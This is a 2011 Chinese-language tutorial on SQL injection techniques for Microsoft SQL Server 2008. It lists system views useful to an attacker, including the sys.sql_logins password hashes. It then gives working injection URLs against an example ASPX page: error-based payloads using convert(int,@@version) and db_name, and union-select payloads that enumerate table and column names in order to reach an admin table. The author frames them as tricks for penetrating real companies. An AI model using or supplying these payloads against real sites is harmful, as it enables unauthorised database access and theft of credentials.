MSSQL2008注入技巧
时间:2011-05-06 来源:LengF(冷锋)
0x00 概述
微软的产品不断再更新,MSSQL也经历了连续多个版本的更新,从MSSQL2000到MSSQL2005再到MSSQL2008。从性能、功能和安全进行大量提升。到了MSSQL2008变得更加的方便。本文针对于MSSQL2008在注入漏洞方面的利用技巧。国内肯定很少企业会考虑将现有的数据库升级到2008,这段时间正对国外的一些渗透发现很多企业都是最新版的MSSQL2008了,服务器都升级为window2008了。特此,我特地下载了MSSQL2008来安装方便测试,在这次测试中有了一点心得,不敢独享,特来分享与大家。
0x01 MSSQL2008注入新特性
安装完MSSQL2008,我新建了一个数据库labdb,在里面建立了一张表名为admin,admin表有四个字段id,uname,upwd,uremak,如图01:
大牛看到这个应该就知道怎么回事了。就不必往下文看了。为了方便和我一样的小菜,我整理下利用办法。
0x02 MSSQL2008注入详细测试
在MSSQL2008中,当我们添加一个新的数据库,系统会自动添加关于这个数据库信息的系统视图,这个视图类似于mysql5中的系统表INFORMATION_SCHEMA表,在表中包含了关于数据库的表明和字段名的信息。我们先看一下对于我们注入有帮助的视图,主要是以下几个视图:
[INFORMATION_SCHEMA].[TABLES]
--
该数据库的所有表名
|---[TABLE_NAME]
--
该数据库下所有表名
[INFORMATION_SCHEMA].[COLUMNS]
--
该数据库的所有列名
|---[TABLE_NAME]
--
列名所属的表名
|---[COLUMN_NAME]
--
列名
[sys].[columns]
-- 该表中的列名,不包含整个系统
|---[name]
-- 列名,但是没有所属表,不建议该表
[sys].[all_columns]
-- 系统中所有列名
|---[name]
-- 列名,但是没有所属表,不建议该表
[sys].[sql_logins]
-- 允许登录查询该表用户信息
|---[name]
-- 登录的用户名
|---[password_hash]
-- 登录的用户的密码hash
特别要说明的是这个视图是对于每个数据的。并不是系统只有一个。有了这个结构信息,我们来看看如何写我们的注入语句。
假设我们有这样一个注入点
http://www.81sec.com/news_disaply.aspx?id=1 复制代码我们判断和普通的注入类似,字符型获取其他类型也类似,我就不废话了。接下来我们判断是否支持多语句查询:
news_disaply.aspx?id=1 or 1=convert(int,(@@version)) -- 复制代码这个用于查询mssql的版本,假设这里是MSSQL2008的。
查询当前数据库名
news_disaply.aspx?id=1 or 1=convert(int,(db_name)) -- 复制代码这些是利用系统本身开启了错误提示,有时候我们没办法看到这些错误提示,那么我们就通过union select 来查询,这个和常规的SQL注入一样。
另外一种情况是,用户自定义的数据库表我们没办法猜到,那么就可以通过上面的系统视图来查询,语句如下:
news_disaply.aspx?id=1 and 1=2 union select 1,2,table_name,4,5,6,7,8 from information_schema.tables – 复制代码得到表名,接下来得到这个表名的字段,假设是admin表,SQL语句如下:
news_disaply.aspx?id=1 and 1=2 union select 1,2,column_name,4,5,6,7,8 from information_schema.columns where table_name='admin' – 复制代码这样就可以得到admin表的字段了。那么接下来猜表就很方便了,大家自行发挥。
标签分类: